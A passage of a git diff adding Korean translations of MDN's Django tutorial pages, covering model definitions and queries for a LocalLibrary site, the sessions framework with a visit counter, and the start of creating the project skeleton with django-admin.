 주의: 모델의 개별적인 레코드들을 보여주기 위해서 /myapplication/mymodelname/2 와 같은 URL을 사용한다고 가정한다면("2"는 특정한 레코드를 위한 id 입니다), 응답과 id를 "모델 디테일 뷰(model detail view)"에 전달하기 위해 (레코드를 표시하기 위한 작업을 할) URL 매퍼를 만들 필요가 있습니다 . 위의 reverse() 함수는 알맞은 포맷의 URL을 생성하기 위해서 URL 매퍼를(위 경우에선 'model-detail-view'라고 명명됨) "반전" 시킬 수 있습니다.

+ +

 물론 이것이 작동하기 위해선 URL 매핑, 뷰, 그리고 탬플릿을 작성해야 합니다!

+
+ +

또한 원하는 메소드를 정의해서 (그들이 어떤 변수도 가지고 있지 않다면) 코드나 탬플릿에서 불러올 수 있습니다.

+ +

모델 관리(management)

+ +

모델 클래스들을 정의한 이후엔 클래스들을 사용해서 레코드들을 생성, 업데이트, 또는 삭제할 수 있고, 모든 레코드 또는 레코드의 특정 하위 집합을 가져오기 위해 쿼리를 실행할 수 있습니다. 튜토리얼에서 뷰를 정의할 때 그 방법을 보여줄 것이지만, 아래에 간략한 요약이 있습니다.

+ +

레코드의 생성과 수정

+ +

레코드를 생성하려먼 모델의 인스턴스를 정의하고 save()를 호출할 수 있습니다.

+ +
# Create a new record using the model's constructor.
+record = MyModelName(my_field_name="Instance #1")
+
+# Save the object into the database.
+record.save()
+
+ +
+

Note: 만약 당신이 어떤 필드도 primary_key를 선언하지 않았다면, 새로운 레코드는 자동적으로 id라는 필드 이름을 가진 primary_key가 주어지게 됩니다. 위의 레코드를 저장한 후 이 id 필드를 쿼리할 수 있는데, 1의 값을 가질 겁니다.

+
+ +

이 새로운 레코드 안의 필드에 점 구문(.)을 사용해서 접근하여 값을 변경할 수 있습니다. 수정된 값들을 데이터베이스에 저장하기 위해 save()를 호출해야 합니다.

+ +
# Access model field values using Python attributes.
+print(record.id) # should return 1 for the first record.
+print(record.my_field_name) # should print 'Instance #1'
+
+# Change record by modifying the fields, then calling save().
+record.my_field_name = "New Instance Name"
+record.save()
+ +

레코드 검색하기

+ +

모델의 객체(objects) 속성(기본 클래스에서 제공됨)을 사용하여 특정 기준과 일치하는 레코드를 검색할 수 있습니다.

+ +
+

 주의: "추상(abstract)" 모델과 필드 이름을 사용하여 레코드들을 검색하는 방법을 설명하는 것은 조금 혼란스러울 수 있습니다. 아래에서는 titlegenre 필드가 있는 Book 모델을 참조하겠습니다. 이 때 genre는 또한 name이라는 단일 필드를 가지고 있는 모델입니다.

+
+ +

우리는 objects.all()을 사용하여 모델의 모든 레코드들을 QuerySet으로 가져올 수 있습니다. QuerySet은 반복가능한(iterable) 객체이며, 이것은 반복/루프할 수 있는 많은 객체들을 포함하고 있다는 의미입니다.

+ +
all_books = Book.objects.all()
+
+ +

 장고의 filter()는 반환된 QuerySet이 지정된 문자(text) 또는 숫자(numeric) 필드를 특정한 기준에 맞추어 필터링할 수 있게 합니다. 예를 들어서, "wild"를 제목 안에 포함하는 책들을 필터링하여 그 숫자를 세어 보려면, 아래와 같이 하면 됩니다.

+ +
wild_books = Book.objects.filter(title__contains='wild')
+number_wild_books = Book.objects.filter(title__contains='wild').count()
+
+ +

기준이 될 필드와 타입은 필터 매개 변수 이름에서 정의됩니다. 다음 포맷을 이용해서요: field_name__match_type (주의: 위의 title과 contains 사이 밑줄은 두 개입니다). 위에서 우리는 대소문자를 구분하여 title을 필터링합니다. 다른 많은 유형의 일치 방법이 있습니다: icontains(대소문자를 구분하지 않음), iexact(대소문자를 구분하지 않는 정확히 일치), exact(대소문자를 구분하는 정확한 일치) 그리고 in, gt(보다 더 큰(greater than)), startswith 등등이 있습니다. 모든 일치방법 목록은 여기(full list is here) 있습니다.

+ +

어떤 경우엔 일대다 관계를 다른 모델에 정의하는 필드를 필터링해야 할 때도 있습니다(예:ForeignKey). 이 경우에 추가적인 이중 밑줄을 사용하여 관련 모델 안의 필드에 "색인(index)"할 수 있습니다. 예를 들어 특정한 장르 패턴을 가진 책들을 필터링하려면, 아래와 같이 genre 필드를 통해서 name에 색인(index)해야 할 겁니다.

+ +
# Will match on: Fiction, Science fiction, non-fiction etc.
+books_containing_genre = Book.objects.filter(genre__name__icontains='fiction')
+
+ +
+

 주의: 밑줄(__)을 사용하여 원하는 만큼 다양한 레벨의 관계(ForeignKey/ManyToManyField)를 탐색할 수 있습니다. 예를 들어서 추가적인 "cover" 관계를 사용하여 정의된 다른 타입의 Book은 다음과 같은 매개 변수 이름을 가질겁니다 :type__cover__name__exact='hard'.

+
+ +

관련된 모델의 역방향 검색, 필터 변경, 값의 더 작은 집합 반환하기 등 쿼리로 할 수 있는 일들은 더욱 많이 있습니다. 더 많은 정보를 보려면 Making queries (장고 문서)를 참고하세요.

+ +

LocalLibrary 모델 정의하기

+ +

이 섹션에서는 도서관을 위한 모델을 정의하기 시작할 겁니다. models.py ( /locallibrary/catalog/에 있음)파일을 여세요. 페이지 상단의 표준 코드(boilerplate)는 우리들의 모델이 상속받을 모델 기본 클래스 models.Model을 포함하는 models 모듈을 가져옵니다.

+ +
from django.db import models
+
+# Create your models here.
+ +

장르(Genre) 모델

+ +

아래의 장르(Genre) 모델 코드를 복사해서 models.py 파일에 붙여넣기 하세요. 이 모델은 책 카테고리에 관한 정보를 저장하는데 사용됩니다 — 예를 들어 소설인지, 논픽션인지, 로맨스인지 군사 역사물인지 등등. 위에서 말했던 것 처럼, 우리는 장르를 자유 텍스트나 선택 목록으로 만들지 않고 모델을 이용해 만들었습니다. 가능한 값들이 하드코딩되기 보다는 데이터베이스를 통해 관리되도록 하기 위해서입니다.

+ +
class Genre(models.Model):
+    """Model representing a book genre."""
+    name = models.CharField(max_length=200, help_text='Enter a book genre (e.g. Science Fiction)')
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return self.name
+ +

모델은 하나의 CharField 필드(name)을 가지고 있습니다. 이것은 장르의 이름을 나타냅니다 . 이것은 200자로 제한되어 있고 help_text를 갖고 있습니다. 모델의 마지막에서 우리는 __str__() 메소드를 선언합니다. 이 메소드는 특정한 레코드에 의해 정의된 장르의 이름을 단지 반환합니다. 아무런 자세한 이름(verbose name)도 정의되지 않았기 때문에, 필드는 폼(form)에서 Name으로 호출(call)될 겁니다.

+ +

책(Book) 모델

+ +

아래의 책(Book) 모델을 복사해서 파일의 아래에 붙여넣기 하세요. 책 모델은 일반적으로 사용 가능한 책에 대한 모든 정보들을 보여주지만, 대여 가능한 특정한 물리적 "인스턴스(instance)"나 "복사본(copy)"은 보여주지 않습니다. 모델은 CharField를 사용하여 책의 titleisbn을 나타냅니다(isbn이 이름을 지정하지 않은 첫 번째 매개변수를 사용하여 라벨을 "ISBN"으로 지정한 것에 주목하세요. 만약 그러지 않았다면 기본 라벨은 "Isbn"이었을 것입니다). 텍스트가 상당히 길 것이기 때문에 summery에는 TextField를 사용합니다.

+ +
from django.urls import reverse # Used to generate URLs by reversing the URL patterns
+
+class Book(models.Model):
+    """Model representing a book (but not a specific copy of a book)."""
+    title = models.CharField(max_length=200)
+    author = models.ForeignKey('Author', on_delete=models.SET_NULL, null=True)
+
+    # Foreign Key used because book can only have one author, but authors can have multiple books
+    # Author as a string rather than object because it hasn't been declared yet in the file.
+    summary = models.TextField(max_length=1000, help_text='Enter a brief description of the book')
+    isbn = models.CharField('ISBN', max_length=13, help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>')
+
+    # ManyToManyField used because genre can contain many books. Books can cover many genres.
+    # Genre class has already been defined so we can specify the object above.
+    genre = models.ManyToManyField(Genre, help_text='Select a genre for this book')
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return self.title
+
+    def get_absolute_url(self):
+        """Returns the url to access a detail record for this book."""
+        return reverse('book-detail', args=[str(self.id)])
+
+ +

장르는 책이 여러 개의 장르를 가지고, 장르도 여러 개의 책을 가질 수 있는 다대다 필드(ManyToManyField)입니다. 저자는 ForeignKey 로 선언됩니다. 따라서 각각의 책은 하나의 저자만 가질 수 있지만, 저자는 여러 개의 책들을 가질 수 있습니다(실제로는 책이 여러 명의 작가를 가질 수 있지만, 이 구현에서는 아닙니다!).

+ +

 두 필드 타입들 안에서 관련된 모델 클래스는 모델 클래스나 관련된 모델의 이름을 포함하는 문자열을 사용하여 이름없는 첫 번째 매개 변수로 선언됩니다. 연관된 클래스가 참조되기 전에 파일 안에서 아직 정의되지 않았다면 모델의 이름을 문자열로 사용해야 합니다! 저자 ( author )필드에서 관심을 가져야 할 다른 변수는 null=Trueon_delete=models.SET_NULL입니다. null=True는 어떤 저자도 선택되지 않았다면 데이터베이스에 Null 값을 저장하도록 하고, on_delete=models.SET_NULL은 관련된 저자(author) 레코드가 삭제되었을 때 저자(author)의 값을 Null로 설정할 겁니다.

+ +

모델은 또한  Book 레코드를 나타내는 책의 title 필드를 사용하여 __str__() 를 정의합니다. 마지막 메소드 get_absolute_url() 은 이 모델의 세부 레코드에 접근하는 데에 사용될 수 있는 URL을 반환합니다 (이것이 작동하도록 하기 위해선 book-detail이라는 이름의 URL 매핑을 정의하고, 관련 뷰와 탬플릿을 정의해야 합니다).

+ +

책 인스턴스(BookInstance) 모델

+ +

 다음으로,  BookInstance 모델(아래에 있는)을 다른 모델들 아래에 복사하세요. BookInstance 은 누군가 빌릴지도 모를 특정한 책의 복사본을 나타냅니다. 그리고 복사본이 사용 가능한지 여부, 언제 되돌려받을 수 있을지, "출판사(imprint)" 또는 버전 세부 사항, 그리고 도서관 안에 있는 책의 고유 id에 대한 정보를 포함합니다.

+ +

 이제 몇몇 필드와 메소드는 친숙할 겁니다. BookInstance 모델은 아래를 사용합니다

+ + + +
import uuid # Required for unique book instances
+
+class BookInstance(models.Model):
+    """Model representing a specific copy of a book (i.e. that can be borrowed from the library)."""
+    id = models.UUIDField(primary_key=True, default=uuid.uuid4, help_text='Unique ID for this particular book across whole library')
+    book = models.ForeignKey('Book', on_delete=models.SET_NULL, null=True)
+    imprint = models.CharField(max_length=200)
+    due_back = models.DateField(null=True, blank=True)
+
+    LOAN_STATUS = (
+        ('m', 'Maintenance'),
+        ('o', 'On loan'),
+        ('a', 'Available'),
+        ('r', 'Reserved'),
+    )
+
+    status = models.CharField(
+        max_length=1,
+        choices=LOAN_STATUS,
+        blank=True,
+        default='m',
+        help_text='Book availability',
+    )
+
+    class Meta:
+        ordering = ['due_back']
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return f'{self.id} ({self.book.title})'
+ +

추가적으로 몇 가지 새로운 타입의 필드를 선언합니다:

+ + + +

 모델  __str__()  은 그것의 고유한 id 그리고 연관된 Book의 제목을 조합하여 BookInstance 객체를 나타냅니다.

+ +
+

주의: 조금의 파이썬:

+ + +
+ +

저자(Author) 모델

+ +

 models.py 안에 작성된 코드 아래에 Author 모델을 복사 붙여넣기 하세요 (아래에 있습니다).

+ +

 이제 모든 필드/메소드들이 익숙할 겁니다. 모델은 저자를 이름(first name), 성(last name), 생일, 그리고 (선택적으로) 사망일을 가진다고 정의합니다. 기본적으로 __str__() 는 name을 첫째로 성(last name), 그 다음 이름(first name)이 오는 순서로 반환합니다. get_absolute_url() 메소드는 개별 저자를 나타내기 위한 URL을 가져오기 위해 author-detail URL 매핑을 반대로 합니다.

+ +
class Author(models.Model):
+    """Model representing an author."""
+    first_name = models.CharField(max_length=100)
+    last_name = models.CharField(max_length=100)
+    date_of_birth = models.DateField(null=True, blank=True)
+    date_of_death = models.DateField('Died', null=True, blank=True)
+
+    class Meta:
+        ordering = ['last_name', 'first_name']
+
+    def get_absolute_url(self):
+        """Returns the url to access a particular author instance."""
+        return reverse('author-detail', args=[str(self.id)])
+
+    def __str__(self):
+        """String for representing the Model object."""
+        return f'{self.last_name}, {self.first_name}'
+
+
+ +

 데이터베이스 마이그레이션 재실행하기

+ +

 모든 모델이 생성되었습니다. 이제 데이터베이스 migration을 재실행하여 모델들을 데이터베이스에 추가하세요.

+ +
python3 manage.py makemigrations
+python3 manage.py migrate
+ +

도전과제 - 언어(Language) 모델

+ +

 지역 후원자가 다른 언어로 저술된 새로운 책들을 후원한다고 생각해 보세요(아마도, 프랑스어?). 도전과제는 이것이 도서관 웹사이트에서 이것을 가장 잘 나타낼 수 있는 방법을 찾아내고, 모델에 추가하는 것입니다.

+ +

고려해야 할 사항들:

+ + + +

결정을 내린 후에, 필드를 추가하세요. 우리가 선택한 것은 여기(here) 깃허브에서 볼 수 있습니다.

+ + + + + +

요약

+ +

 이 글에서 우리는 모델이 어떻게 정의되는지 배웠고, 이 정보를 지역 도서관 웹사이트를 위한 적절한 모델을 설계하고 구현하기 위해 사용했습니다.

+ +

At this point we'll divert briefly from creating the site, and check out the Django Administration site. This site will allow us to add some data to the library, which we can then display using our (yet to be created) views and templates.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django")}}

+ + + +

In this module

+ + diff --git a/files/ko/learn/server-side/django/sessions/index.html b/files/ko/learn/server-side/django/sessions/index.html new file mode 100644 index 0000000000..59634c6c36 --- /dev/null +++ b/files/ko/learn/server-side/django/sessions/index.html @@ -0,0 +1,190 @@ +--- +title: 'Django Tutorial Part 7: Sessions framework' +slug: Learn/Server-side/Django/Sessions +translation_of: Learn/Server-side/Django/Sessions +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django")}}
+ +

이 튜토리얼에서는 LocalLibrary website을 확장시킬 것입니다. 방문 수를 셀 수 있는 session-based 기능을 더한 홈페이지입니다. 이것은 상대적으로 간단한 예제인데, 이는 당신의 홈페이지에서 익명의 유저들에게 지속적으로 서비스를 제공하는 session framework의 사용법입니다.

+ + + + + + + + + + + + +
Prerequisites:Complete all previous tutorial topics, including Django Tutorial Part 6: Generic list and detail views
Objective:To understand how sessions are used.
+ +

개요

+ +

이전 튜토리얼에서 우리가 만든 LocalLibrary website는 카탈로그에서 유저가 책과 저자를 검색할 수 있도록 합니다. 컨텐츠가 Database로부터 다이나믹하게 생성되기 때문에, 모든 유저는 사용시에 필수적으로 같은 페이지와 정보 타입에 필수적으로 접근할 것입니다.

+ +

실제 도서관에서는 각각의 유저들에게 그들의 이전 사이트 사용과 선호 등에 기반한 커스텀된 경험을 제공하고 싶을지도 모릅니다 . 예를 들어, 유저가 이미 알고 있는 경고 메세지들을 숨길 수도 있습니다. 그 유저들이 다음에 사이트를 방문하거나 그들의 선호사항(e.g. 그들이 각 페이지에서 보여지길 원하는 검색의 결과 수)에 대해서 저장하는 것을 말합니다. 

+ +

session framework는 당신이 이 행동의 분류하도록 하며, 각 사이트 방문자에 기반한 임의의 데이터를 검색하거나 저장하도록 합니다. 

+ +

세션이란?

+ +

웹 브라우저와 서버가 HTTP 프로토콜을 통해서 하는 모든 커뮤니케이션은 무상태(stateless)라고 합니다. 프로토콜이 무상태라는 뜻은 클라이언트와 서버 사이의 메시지가 완벽하게 각각 독립적이라는 뜻입니다. — 여기엔 이전 메시지에 근거한 행동이나 순서(sequence)라는 것이 존재하지 않습니다. 결국, 만약 사이트가 클라이언트와 계속적인 관계를 유지하는 것을 당신이 원한다면, 당신이 직접 그 작업을 해야합니다.

+ +

세션이라는 것은 Django 그리고 대부분의 인터넷에서 사용되는 메카니즘으로, 사이트와 특정 브라우저 사이의 "state"를 유지시키는 것입니다. 세션은 당신이 매 브라우저마다 임의의 데이터를 저장하게 하고, 이 데이터가 브라우저에 접속할 때 마다 사이트에서 활용될 수 있도록 합니다. 세션에 연결된 각각의 데이터 아이템들은 "key"에 의해 인용되고, 이는 또다시 데이터를 찾거나 저장하는 데에 이용됩니다.

+ +

장고는 특정 session id 를 포함하는 쿠키를 사용해서 각각의 브라우저와 사이트가 연결된 세션을 알아냅니다. 실질적인 세션의 data 사이트의 Database에 기본 설정값으로 저장됩니다 (이는 쿠키안에 데이터를 저장하는 것보다 더 보안에 유리하고, 쿠키는 악의적인 사용자에게 취약합니다). 당신은 Django를 다른 장소 (캐시, 파일, "보안이 된" 쿠키)에 저장하도록 설정할 수 있지만, 그러나 기본 위치가 상대적으로 더 안전합니다.

+ +

세션 사용설정하기

+ +

세션설정은 처음에 skeleton website를 생성했을 때 (in tutorial 2) 자동으로 사용할 수 있도록 설정되었습니다. 

+ +

세션사용설정은 프로젝트 settings.py에서 아래와 같이 INSTALLED_APPS 와 MIDDLEWARE 부분에 있습니다.

+ +
INSTALLED_APPS = [
+    ...
+    'django.contrib.sessions',
+    ....
+
+MIDDLEWARE = [
+    ...
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    ....
+ +

세션 사용하기

+ +

session 속성은 request parameter 에서 파생된 view 안에 있습니다. ( view 로 전달되는 HttpRequest   의 첫번째 함수 ). 이 세션의 속성은 현재의 사용자(정확히는 브라우저) 의 site 에 대한 connection 을 의미합니다. 브라우저의 cookie 안에 정의 되어 있습니다.

+ +

이 session  속성은 사전 같은 객체인데 여러번 읽고 쓰고 심지어 수정까지 가능합니다.여러분은 다양한 dictionary 연산 - 즉, 모든 데이타 삭제, Key 가 존재하는지 데이타를 통한 looping 기타등등. 무엇보다 표준적인 "dictionary" API 를 통해 값을 가져오거나 저장 할 수 있습니다.

+ +

아래 코드는 key 값이 "my_car" 인 데이타를 어떻게 읽고 쓰고 삭제하는지 보여줍니다. 물론 그 key 값은 현재의 session (브자우져와 싸이트의 연결정보) 과 연관되어진 key 입니다.

+ +
+

Note: 장고가 대단한점 한가지는 여러분이 이런 session 의 매카니즘에 생각하지 않게끔 한다는 점입니다. 만일 view 안에 있는 아래의 code 를 사용하면 오직 현재의 브라우저만이 현재의 request 에 관한  my_car  정보를 알 수 있다는 겁니다. 

+
+ +
# Get a session value by its key (e.g. 'my_car'), raising a KeyError if the key is not present
+my_car = request.session['my_car']
+
+# Get a session value, setting a default if it is not present ('mini')
+my_car = request.session.get('my_car', 'mini')
+
+# Set a session value
+request.session['my_car'] = 'mini'
+
+# Delete a session value
+del request.session['my_car']
+
+ +

이 API 는 또한 여러가지 다른 방법을 제공하는데 그들은 대부분 관련된 session cookie 를 다루는데 사용되는 것들 입니다. 예를 들어, 그 cookies 가 사용자의 브라우져에서 지원이 되는지 태스트하거나, 만기일을 알아본다던지, 만기된 session 을 삭제 한다던지. 좀더 알아보고 싶다면 How to use sessions (Django docs) 에서 그 API 를 배울수 있습니다.

+ +

세션 데이터 저장하기

+ +

기본적으로 장고는 세션 데이타를 세션 database 에 저장합니다. 그리고 그 session cookie 를 필요할때  client 에게로 내려보내는 거지요. 즉, session 정보가 변경되었거나 삭제 되었을떄. 앞장에서 기술한것처럼, 만일 session key 값을 이용해서 어떤 정보가 변경이 되었다면 우리는 이에 대해 염려 할 필요가 없습니다.예를 들자면 : 

+ +
# This is detected as an update to the session, so session data is saved.
+request.session['my_car'] = 'mini'
+ +

만일 당신이 session data 안에 있는 어떤 정보를 수정 했다면 장고는 여러분이 수정한걸 알아채지 못합니다. (예를 들어, 만일 "my_car" 안의 "wheels" 정보를 수정 했다면 ). 이경우 명시적으로 그 session 이 수정 되었다고 아래의 코드처럼 표현해 주어야 합니다.

+ +
# Session object not directly modified, only data within the session. Session changes not saved!
+request.session['my_car']['wheels'] = 'alloy'
+
+# Set session as modified to force data updates/cookie to be saved.
+request.session.modified = True
+
+ +
+

Note: You can change the behavior so the site will update the database/send cookie on every request by adding SESSION_SAVE_EVERY_REQUEST = True into your project settings (locallibrary/locallibrary/settings.py).

+
+ +

간단한 예제 — 방문자수 받아오기

+ +

간단한 실제 예제로서, 우리는 현재 유저가 LocalLibrary 홈페이지에 몇 번이나 방문했는지 알려주도록 업데이트할 것입니다.  /locallibrary/catalog/views.py 을 열고 밑에 굵게 표시된 부분을 추가해서 바꿔봅시다. 

+ +
def index(request):
+    ...
+
+    num_authors = Author.objects.count()  # The 'all()' is implied by default.
+
+    # Number of visits to this view, as counted in the session variable.
+    num_visits = request.session.get('num_visits', 0)
+    request.session['num_visits'] = num_visits + 1
+
+    context = {
+        'num_books': num_books,
+        'num_instances': num_instances,
+        'num_instances_available': num_instances_available,
+        'num_authors': num_authors,
+        'num_visits': num_visits,
+    }
+
+    # Render the HTML template index.html with the data in the context variable.
+    return render(request, 'index.html', context=context)
+ +

먼저 'num_visits' 세션 키 값을 가져오도록 합니다, 그리고 만약 전에 방문한적이 없다면 0이 되도록 합니다. 매번 요청받을 때 마다, 값을 증가시키고 세션에 값을 저장합니다 (유저의 다음 방문을 위해서요). context 변수를 통해 template에 num_visits 변수가 전달됩니다.

+ +
+

Note:  이 지점에서 우리는 브라우저가 쿠키를 지원하는 지 그렇지 않은지 테스트할 수도 있습니다(예제로서 How to use sessions 를 보도록하십시오). 또한 쿠키를 지원하는 지와는 별개로 UI를 디자인할 것입니다.  

+
+ +

메인 HTML template(/locallibrary/catalog/templates/index.html) "Dynamic content"  섹션 밑 부분에 context 변수가 보일 수 있도록 밑에 보이는 굵은 선으로 표시된 코드를 추가해주세요:

+ +
<h2>Dynamic content</h2>
+
+<p>The library has the following record counts:</p>
+<ul>
+  <li><strong>Books:</strong> \{{ num_books }}</li>
+  <li><strong>Copies:</strong> \{{ num_instances }}</li>
+  <li><strong>Copies available:</strong> \{{ num_instances_available }}</li>
+  <li><strong>Authors:</strong> \{{ num_authors }}</li>
+</ul>
+
+<p>You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.</p>
+
+ +

바뀐 것을 저장해주시고 테스트 서버를 재시작해주세요. 페이지를 새로고침할 때 마다, 숫자가 업데이트되는 것을 보실 수 있을겁니다.

+ + + +

요약

+ +

익명 유저와의 상호작용을 증대하기 위해 세션을 이용하는 것이 얼마나 쉬운일인지 알 수 있었습니다. 

+ +

다음 장에서는, 인증과 권한부여(허가)에 관한 프레임워크를 설명할 것입니다. 그리고 유저 계정을 어떻게 지원할 수 있는지를 보도록 하죠. 

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git a/files/ko/learn/server-side/django/skeleton_website/index.html b/files/ko/learn/server-side/django/skeleton_website/index.html new file mode 100644 index 0000000000..b514a6ee61 --- /dev/null +++ b/files/ko/learn/server-side/django/skeleton_website/index.html @@ -0,0 +1,398 @@ +--- +title: '장고 튜토리얼 강좌 2 : 뼈대 사이트 만들기' +slug: Learn/Server-side/Django/skeleton_website +tags: + - 가이드 + - 입문서 + - 장고 + - 초심자 + - 튜토리얼 +translation_of: Learn/Server-side/Django/skeleton_website +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}
+ +

장고 튜트리얼의 두 번째 기사에서는 웹 사이트 프로젝트의 기본 뼈대(skeleton)를 만들고, 사이트의 특성에 맞춰 설정, 경로, 모델, 뷰 및 템플릿을 다루는 방법을 보여줍니다. 

+ + + + + + + + + + + + +
사전 준비:장고 개발 환경을 설치하세요. (Set up a Django development environment.) 장고 튜트리얼을 복습하세요.
목표:당신만의 새로운 웹사이트 프로젝트를 시작하기 위해 장고의 도구들을 사용할 수 있는 능력 기르기.
+ +

개요

+ +

이 글은 웹사이트의 "뼈대"를 생성하는 법을 보여줍니다. 그리고 이 사이트는 사이트에 특화된 설정, 경로, 모델, 뷰, 템플릿 등을 작성할 수 있습니다. (이후 글에서 이것들에 관해 다루겠습니다)

+ +

과정은 직관적입니다:

+ +
    +
  1. 프로젝트 폴더, 기본적인 파일 템플릿과 프로젝트 관리 스크립트(manage.py)를 만들기 위해서 django-admin을 사용합니다.
  2. +
  3. 하나 또는 그 이상의 애플리케이션을 만들기 위해서 manage.py를 사용합니다. +
    +

    Note: 하나의 웹사이트는 하나 또는 그 이상의 섹션으로 구성될 수 있습니다. (예를 들어 main site, blog, wiki, downloads area 등). 장고는 필요할 때에 다른 프로젝트에서 재사용이 가능할 수 있게 , 이 요소들을 분리된 어플리케이션으로 개발하는 것을 추천합니다.

    +
    +
  4. +
  5. 프로젝트에 포함시키기 위해 새 어플리케이션들을 등록(register)합니다.
  6. +
  7. 각 어플리케이션에 대해 url/mapper를 연결(hook up)합니다.
  8. +
+ +

Local Library website 용으로 웹사이트 폴더와 프로젝트 폴더는 locallibrary라고 이름지어질 것입니다. 그리고 catalog라는 단 하나의 어플리케이션을 가질 겁니다. 그러므로 최상위 폴더 구조는 아래와 같습니다:

+ +
locallibrary/         # Website foldermanage.py         # Script to run Django tools for this project (created using django-admin)
+    locallibrary/     # Website/project folder (created using django-admin)
+    catalog/          # Application folder (created using manage.py)
+
+ +

다음 섹션에서는 프로세스 단계를 자세히 설명하고 변화를 테스트할 수 있는 방법을 설명합니다. 글의 마지막에서 당신이 이 단계에서 수행해야 하는 몇 가지 다른 사이트 전체 설정에 관해 논의합니다.

+ +

프로젝트 만들기

+ +

먼저 명령 프롬프트 또는 터미널을 열어서, 당신이 virtual environment 안에 있는지 확인하고, 어디에 당신의 장고 앱을 (당신의 '문서'와 같이 찾기 쉬운 어딘가로 하세요) 저장하기 원하는지 탐색합니다. 그리고 당신의 새로운 웹사이트 폴더를 만드세요 (이 예제에서는: locallibrary). 그리고 cd 명령어를 사용하여 해당 폴더로 들어가세요:

+ +
mkdir locallibrary
+cd locallibrary
+
+ +

다음과 같이 django-admin startproject 명령을 사용하여 새로운 프로젝트를 만들고, 그 폴더 안으로 들어가세요. (변역자주: 실제 해보니 위의 문장은 하지 말아야 합니다. 하나의 parent folder 가 더 만들어집니다. 즉, locallibrary-locallibrary-locallibrary )

+ +
django-admin startproject locallibrary
+cd locallibrary
+ +

django-admin 도구가 아래와 같이 폴더/파일 구조를 생성합니다. (번역자주: 윈도우 환경에서는 tree /f locallibrary_path 명령으로 구조를 확인할 수 있습니다.)

+ +
locallibrary/
+    manage.py
+    locallibrary/
+        __init__.py
+        settings.py
+        urls.py
+        wsgi.py
+ +

locallibrary 프로젝트의 하위 폴더는 웹사이트의 시작점입니다:

+ + + +

manage.py는 어플리케이션을 생성하고, 데이터베이스와 작업하고, 그리고 개발 웹 서버를 시작하기 위해 사용됩니다. 

+ +

catalog application 만들기

+ +

다음으로, locallibrary 프로젝트 안에 생성될 catalog 어플리케이션을 만들기 위해 아래 명령어를 실행하세요. 이것은 프로젝트의 manage.py와 같은 폴더 안에서 실행되어야 합니다.

+ +
python3 manage.py startapp catalog
+ +
+

주의 : 위 명령어는 리눅스/macOS X를 위한 명령어입니다. 윈도우에서의 명령어는 다음과 같습니다.  py -3 manage.py startapp catalog

+ +

만약 윈도우에서 작업한다면, 이 튜트리얼 전체에서  python3를 py -3로 바꾸십시오.

+ +

만약 파이썬 3.7.0 이상을 사용한다면  py manage.py startapp catalog를 사용하면 됩니다.

+
+ +

이 도구는 새로운 폴더를 생성하고 폴더를 어플리케이션의 파일들로 채웁니다(아래에 굵게 표시). 대부분의 파일들은 그것의 목적에서 따온 이름을 갖고 있습니다. 예를들어, 뷰는 views.py에, 모델은 models.py에, 테스트는 tests.py에, 관리자 사이트 설정은 admin.py에, 어플리케이션 등록(registration)은 apps.py에 있습니다. 그리고 관련 객체(object)에 대한 작업을 위한 최소한의 표준 코드를 포함합니다.

+ +

이제 업데이트된 프로젝트 디렉토리는 다음과 같아야 합니다. 

+ +
locallibrary/
+    manage.py
+    locallibrary/
+    catalog/
+        admin.py
+        apps.py
+        models.py
+        tests.py
+        views.py
+        __init__.py
+        migrations/
+
+ +

 추가로 다음을 갖게 됐습니다:

+ + + +
+

주의 : 위의 파일 리스트에서 뭔가 부족한게 있다는 것을 알아챘나요? 뷰와 모델 관련 파일은 있는 반면 URL 맵핑, 템플릿, 정적 파일(static file)과 연관된 파일이 없습니다. 그들을 어떻게 생성하는지에 관해서는 추후에 보여드리겠습니다 (이것들은 모든 웹사이트에서 필요하진 않지만 우리 프로젝트에서는 필요합니다).

+
+ +

catalog application 등록하기

+ +

이제 어플리케이션이 생성되었으니 프로젝트에 등록(register)해야합니다. 도구가 실행될 때 프로젝트에 포함시키기 위해서 말이죠(예를 들어 모델을 데이터베이스에 추가할 때 처럼요). 어플리케이션들은 프로젝트 설정 안의 INSTALLED_APPS  리스트에 추가함으로써 등록할 수 있습니다. 

+ +

프로젝트의 설정 파일(locallibrary/locallibrary/settings.py)을 열고 INSTALLED_APPS 리스트의 정의 부분을 찾으세요. 그리고 그 리스트 제일 아래에 다음과 같이 기입해 주세요.

+ +
INSTALLED_APPS = [
+    'django.contrib.admin',
+    'django.contrib.auth',
+    'django.contrib.contenttypes',
+    'django.contrib.sessions',
+    'django.contrib.messages',
+    'django.contrib.staticfiles',
+    'catalog.apps.CatalogConfig', 
+]
+ +

새로운 행은 어플리케이션 구성 객체(application configuration object)(CatalogConfig)를 지정하게 됩니다. 이것은 어플리케이션을 생성할 때  /locallibrary/catalog/apps.py 안에 생성됩니다.

+ +
+

주의: 설정 파일에 이미 많은 INSTALLED_APPS 항목과 MIDDLEWARE 항목이 있음을 알 수 있습니다. 이를 통해 장고 관리 사이트를 지원할 수 있으며 결과적으로 세션, 인증 등을 포함한 많은 기능이 사용됩니다.

+
+ +

데이터베이스 설정

+ +

이제 보통 프로젝트에 사용할 데이터베이스를 지정하는 시점입니다— 가능한 한 개발과 결과물에 동일한 데이터베이스를 사용하여 사소한 동작 차이를 방지해야 합니다. Databases에 대한 장고 문서에서 가능한 다른 옵션을 확인할 수 있습니다. 

+ +

